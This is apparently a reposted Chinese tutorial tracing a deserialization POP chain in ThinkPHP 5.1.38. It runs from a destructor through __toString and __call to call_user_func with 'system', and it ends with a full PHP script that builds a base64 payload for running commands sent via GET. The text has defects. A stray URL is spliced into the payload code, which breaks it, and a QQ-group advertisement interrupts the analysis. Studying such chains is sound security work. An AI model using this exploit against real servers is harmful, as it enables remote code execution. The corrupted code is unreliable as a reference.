環境：MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain：利用魔術方法并巧妙構造特殊屬性呼叫一系列函式或類方法以執行某種敏感操作的呼叫堆疊反序列化常用魔法函式
前言
我所理解的 POP Chain：
利用魔術方法并巧妙構造特殊屬性呼叫一系列函式或類方法以執行某種敏感操作的呼叫堆疊
反序列化常用魔法函式
-
1 __wakeup， unserialize() 執行前呼叫 2 __destruct， 對銷毀的時候呼叫 3 __toString， 類被當成字串時的回應方法 4 __construct()，當物件創建(new)時會自動呼叫，注意在 5 unserialize()時并不會自動呼叫 6 __sleep()，serialize()時會先被呼叫 7 __call()，在物件中呼叫一個不可訪問方法時呼叫 8 __callStatic()，用靜態方式中呼叫一個不可訪問方法時呼叫 9 __get()，獲得一個類的成員變數時呼叫 10 __set()，設定一個類的成員變數時呼叫 11 __isset()，當對不可訪問屬性呼叫isset()或empty()時呼叫 12 __unset()，當對不可訪問屬性呼叫unset()時被呼叫， 13 __wakeup()，執行unserialize()時，先會呼叫這個函式 14 __toString()，類被當成字串時的回應方法 15 __invoke()，呼叫函式的方式呼叫一個物件時的回應方法 16 __set_state()，呼叫var_export()匯出類時，此靜態方法會被呼叫， 17 __clone()，當物件復制完成時呼叫 18 __autoload()，嘗試加載未定義的類 19 __debugInfo()，列印所需除錯資訊
phar 檔案通過 phar:// 偽協議拓寬攻擊面 因為 phar 檔案會以序列化的形式存盤用戶自定義的meta-data，所以在檔案系統函式（file_exists()、is_dir()等）引數可控的情況下，配合phar://偽協議，可以不依賴unserialize()直接進行反序列化操作,深入了解請至：https://paper.seebug.org/680/
如果對反序列化沒有了解的話建議先學習下相關內容ThinkPHP v5.1.x POP 鏈分析安裝這里使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用鏈全域搜索函式 __destruct
來到 /thinkphp/library/think/process/pipes/Windows.php
-
1 public function __destruct() 2 { 3 $this->close(); 4 $this->removeFiles(); 5 } 6 . . . . . . 7 /** 8 * 洗掉臨時檔案 9 */ 10 private function removeFiles() 11 { 12 foreach ($this->files as $filename) { 13 if (file_exists($filename)) { 14 @unlink($filename); 15 } 16 } 17 $this->files = []; 18 }
看下 file_exists 的描述f
-
1 ile_exists ( string $filename )
: bool如果傳入的 $filename 是個反序列化的物件，在被 file_exists 當作字串處理的時候就會觸發其 __toString 方法（如果有的話）所以下面就是找含 __toString 方法的類
來到 /thinkphp/library/think/model/concern/Conversion.php
-
1 public function toJson($options = JSON_UNESCAPED_UNICODE) 2 { 3 return json_encode($this->toArray(), $options); 4 } 5 . . . . . . 6 public function __toString() 7 { 8 return $this->toJson(); 9 }
可以看到，在 toJson() 函式中又呼叫了 toArray() 函式如果 toArray() 函式中存在并使用某個可控變數的方法，那么我們就可以利用這點去觸發其他類的 __call 方法下面是 toArray() 函式的定義，$this->append 作為類屬性是可控的，所以 $relation 和 $name 也就可控了，于是 $relation->visible($name); 就成了這個 POP 鏈中的中間跳板
phper在進階的時候總會遇到一些問題和瓶頸，業務代碼寫多了沒有方向感，不知道該從那里入手去提升，對此我整理了一些資料，包括但不限于：分布式架構、高可擴展、高性能、高并發、服務器性能調優、TP6，laravel，YII2，Redis，Swoole、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家，需要的（點擊→）我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl
-
1 public function toArray() 2 { 3 $item = []; 4 $hasVisible = false; 5 . . . . . . 6 // 追加屬性（必須定義獲取器） 7 if (!empty($this->append)) { 8 foreach ($this->append as $key => $name) { 9 if (is_array($name)) { 10 // 追加關聯物件屬性 11 $relation = $this->getRelation($key); 12 if (!$relation) { 13 $relation = $this->getAttr($key); 14 if ($relation) { 15 $relation->visible($name); 16 } 17 } 18 $item[$key] = $relation ? $relation->append($name)->toArray() : []; 19 } elseif (strpos($name, '.')) { 20 . . . . . . 21 } else { 22 $item[$name] = $this->getAttr($name, $item); 23 } 24 } 25 } 26 return $item; 27 }
那我們在這里應該傳入怎么樣的值以及什么資料呢，先看下 $relation 是如何處理得到的
跟進 getRelation，在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函式定義
-
1 trait RelationShip 2 { 3 . . . . . . 4 /** 5 * 獲取當前模型的關聯模型資料 6 * @access public 7 * @param string $name 關聯方法名 8 * @return mixed 9 */ 10 public function getRelation($name = null) 11 { 12 if (is_null($name)) { 13 return $this->relation; 14 } elseif (array_key_exists($name, $this->relation)) { 15 return $this->relation[$name]; 16 } 17 return; 18 } 19 . . . . . . 20 }
由于 getRelation 最終都會 return; 導致回傳 NULL，所以 下面的 if (!$relation) 一定成立所以直接跟進后面的 getAttr，在 /thinkphp/library/think/model/concern/Attribute.php 找到其定義
-
1 trait Attribute 2 { 3 . . . . . . 4 public function getData($name = null) 5 { 6 if (is_null($name)) { 7 return $this->data; 8 } elseif (array_key_exists($name, $this->data)) { 9 return $this->data[$name]; 10 } elseif (array_key_exists($name, $this->relation)) { 11 return $this->relation[$name]; 12 } 13 throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); 14 } 15 . . . . . . 16 public function getAttr($name, &$item = null) 17 { 18 try { 19 $notFound = false; 20 $value = $this->getData($name); 21 } catch (InvalidArgumentException $e) { 22 $notFound = true; 23 $value = null; 24 } 25 . . . . . . 26 } 27 }
從 getAttr ---> getData 回傳 data 陣列中同名鍵值的元素值，即 $relation <---- $this->data[$name]，我們需要的 $data 和 $append 分別位于 Attribute 和 Conversion，且兩者都是 trait 型別Trait 可以說是和 Class 相似，是 PHP 5.4.0 開始實作的一種代碼復用的方法，可以使用 use 加載
詳情可以看官方手冊 PHP: Trait - Manual
所以接下來是尋找一個同時使用了 Attribute 和 Conversion 的類
發現只有 /thinkphp/library/think/Model.php 滿足條件
-
1 abstract class Model implements \JsonSerializable, \ArrayAccess 2 { 3 use model\concern\Attribute; 4 use model\concern\RelationShip; 5 use model\concern\ModelEvent; 6 use model\concern\TimeStamp; 7 use model\concern\Conversion; 8 . . . . . . 9 }
下面就需要找到一個沒有 visible 方法卻有 __call 方法的類作為執行點找到 /thinkphp/library/think/Request.php 中的 Request 類
-
1 class Request 2 { 3 . . . . . . 4 /** 5 * 擴展方法 6 * @var array 7 */ 8 protected $hook = []; 9 . . . . . . 10 public function __call($method, $args) 11 { 12 if (array_key_exists($method, $this->hook)) { 13 array_unshift($args, $this); 14 return call_user_func_array($this->hook[$method], $args); 15 } 16 throw new Exception('method not exists:' . static::class . '->' . $method); 17 } 18 . . . . . . 19 }
這里的回呼引數來源于 $hook 陣列，而且方法名和引數都是可控的，不過 array_unshift 函式會把若干元素前置到陣列的開頭
-
1 $queue = array("orange", "banana"); 2 array_unshift($queue, "apple", "raspberry"); 3 print_r($queue); 4 /// 5 Array 6 ( 7 [0] => apple 8 [1] => raspberry 9 [2] => orange 10 [3] => banana 11 )
這樣的話明顯就很難執行命令了，因為引數陣列的第一個元素始終是 $this，無法直接執行我們想要的命令， 需要其他某種對引數不是這么敏感的函式作為一個新的執行點或者跳板Request 類中有一個 filterValue 函式具有過濾功能，尋找呼叫 filterValue 的地方以便控制 $value 和 $filters 好執行命令
-
1 private function filterValue(&$value, $key, $filters) 2 { 3 $default = array_pop($filters); 4 foreach ($filters as $filter) { 5 if (is_callable($filter)) { 6 // 呼叫函式或者方法過濾 7 $value = call_user_func($filter, $value); 8 } elseif (is_scalar($value)) { 9 . . . . . . 10 } 11 return $value; 12 }
Request 類中的 input 函式由 array_walk_recursive 呼叫了 filterValue，但是引數仍不可控，再往上尋找呼叫點看看
-
1 public function input($data = [], $name = '', $default = null, $filter = '') 2 { 3 if (false === $name) { 4 // 獲取原始資料 5 return $data; 6 } 7 $name = (string) $name; 8 if ('' != $name) { 9 // 決議name 10 if (strpos($name, '/')) { 11 list($name, $type) = explode('/', $name); 12 } 13 $data = $this->getData($data, $name); 14 if (is_null($data)) { 15 return $default; 16 } 17 if (is_object($data)) { 18 return $data; 19 } 20 } 21 // 決議過濾器 22 $filter = $this->getFilter($filter, $default); 23 if (is_array($data)) { 24 array_walk_recursive($data, [$this, 'filterValue'], $filter); 25 if (version_compare(PHP_VERSION, '7.1.0', '<')) { 26 // 恢復PHP版本低于 7.1 時 array_walk_recursive 中消耗的內部指標 27 $this->arrayReset($data); 28 } 29 } else { 30 $this->filterValue($data, $name, $filter); 31 } 32 . . . . . . 33 return $data; 34 }
Request 類中的 param 函式呼叫了 input 函式，但同樣引數不可控，再往上尋找呼叫點
-
1 public function param($name = '', $default = null, $filter = '') 2 { 3 . . . . . . 4 if (true === $name) { 5 // 獲取包含檔案上傳資訊的陣列 6 $file = $this->file(); 7 $data = is_array($file) ? array_merge($this->param, $file) : $this->param; 8 return $this->input($data, '', $default, $filter); 9 } 10 return $this->input($this->param, $name, $default, $filter); 11 }
轉到 isAjax 函式的定義
-
1 public function isAjax($ajax = false) 2 { 3 $value = $this->server('HTTP_X_REQUESTED_WITH'); 4 $result = 'xmlhttprequest' == strtolower($value) ? true : false; 5 if (true === $ajax) { 6 return $result; 7 } 8 $result = $this->param($this->config['var_ajax']) ? true : $result; 9 $this->mergeParam = false; 10 return $result; 11 }
這里 $ajax 引數沒有對型別的限制，而且 param 的引數來自 $this->config，是可控的，param 在最后所呼叫的 input 函式的 $this->param, $name 就都可控跟進 get 和 route 函式不難發現 $this->param 的值來自 GET 請求
-
1 // 當前請求引數和URL地址中的引數合并 2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); 3 /* 4 http://127.0.0.1:9000/public/?test=pwd 5 $this->param = array("test"=>"pwd") 6 */
那么回到 input 函式看處理流程
首先 $this->getData($data, $name) 得到 $data，跟進分析，回傳 $data 為 $data[$val] 的值，即 $data[$name]
-
1 protected function getData(array $data, $name) 2 { 3 foreach (explode('.', $name) as $val) { 4 if (isset($data[$val])) { 5 $data = $data[$val]; 6 } else { 7 return; 8 } 9 } 10 return $data; 11 }
回到 input，接著處理 $filter = $this->getFilter($filter, $default);getFilter 的兩個引數分別為 '' 和 null 且都不可控，但是跟進不難看出最后回傳 $filter 的值就是 $this->filter，雖然后面 $filter[] = $default; 會給 filter 陣列追加個值為 null 的元素，但后面 filterValue 中的 array_pop 函式正好給去掉了
-
1 protected function getFilter($filter, $default) 2 { 3 if (is_null($filter)) { 4 $filter = []; 5 } else { 6 $filter = $filter ?: $this->filter; 7 if (is_string($filter) && false === strpos($filter, '/')) { 8 $filter = explode(',', $filter); 9 } else { 10 $filter = (array) $filter; 11 } 12 } 13 $filter[] = $default; 14 return $filter; 15 }
這樣就得到一條可控變數的函式呼叫鏈，最后執行命令
下面簡單梳理下流程 通過 Windows 類 __destruct() 方法呼叫到 file_exists 觸發某類的 __toString() 來到 toArray() 函式 通過控制分別位于 Attribute 和 Conversion 的 $data 和 $append 變數執行在 Request 中不存在的 visible 函式進而觸發其 __call() 在 Request 通過控制 $hook $filter $config 三個變數的值注入最終的 callback 名稱和引數，再經這么一系列函式呼叫執行命令
-
1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()
構造 Payload
由于 Model 類是 abstract 型別，無法實體化，而extends Model 的也只有一個 Pivot 類，所以就用它吧
-
1 <?php 2 namespace think; 3 abstract class Model 4 { 5 protected $append = []; 6 private $data = []; 7 function __construct(){ 8 $this->append = ["a"=>[""]]; 9 $this->data = https://www.cnblogs.com/a609251438/p/["a"=>new Request()]; 10 } 11 } 12 namespace think\model; 13 use think\Model; 14 class Pivot extends Model 15 { 16 } 17 namespace think\process\pipes; 18 use think\model\Pivot; 19 class Windows 20 { 21 private $files = []; 22 public function __construct() 23 { 24 $this->files = [new Pivot()]; 25 } 26 } 27 namespace think; 28 class Request 29 { 30 protected $hook = []; 31 protected $filter = "system"; 32 protected $config = [ 33 // 表單請求型別偽裝變數 34 'var_method' => '_method', 35 // 表單ajax偽裝變數 36 'var_ajax' => '_ajax', 37 // 表單pjax偽裝變數 38 'var_pjax' => '_pjax', 39 // PATHINFO變數名 用于兼容模式 40 'var_pathinfo' => 's', 41 // 兼容PATH_INFO獲取 42 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 43 // 默認全域過濾方法 用逗號分隔多個 44 'default_filter' => '', 45 // 域名根，如thinkphp.cn 46 'url_domain_root' => '', 47 // HTTPS代理標識 48 'https_agent_name' => '', 49 // IP代理獲取標識 50 'http_agent_ip' => 'HTTP_X_REAL_IP', 51 // URL偽靜態后綴 52 'url_html_suffix' => 'html', 53 ]; 54 function __construct(){ 55 $this->filter = "system"; 56 $this->config = ["var_ajax"=>'']; 57 $this->hook = ["visible"=>[$this,"isAjax"]]; 58 } 59 } 60 use think\process\pipes\Windows; 61 echo base64_encode(serialize(new Windows()));
自己先構造一個利用點反序列化我們的內容，生成好 payload，GET 傳入要執行的命令，命令別忘了 urlencode
查看呼叫堆疊
轉載請註明出處，本文鏈接：https://www.uj5u.com/houduan/116813.html
標籤：PHP
上一篇：PHP使用遞回按層級查找資料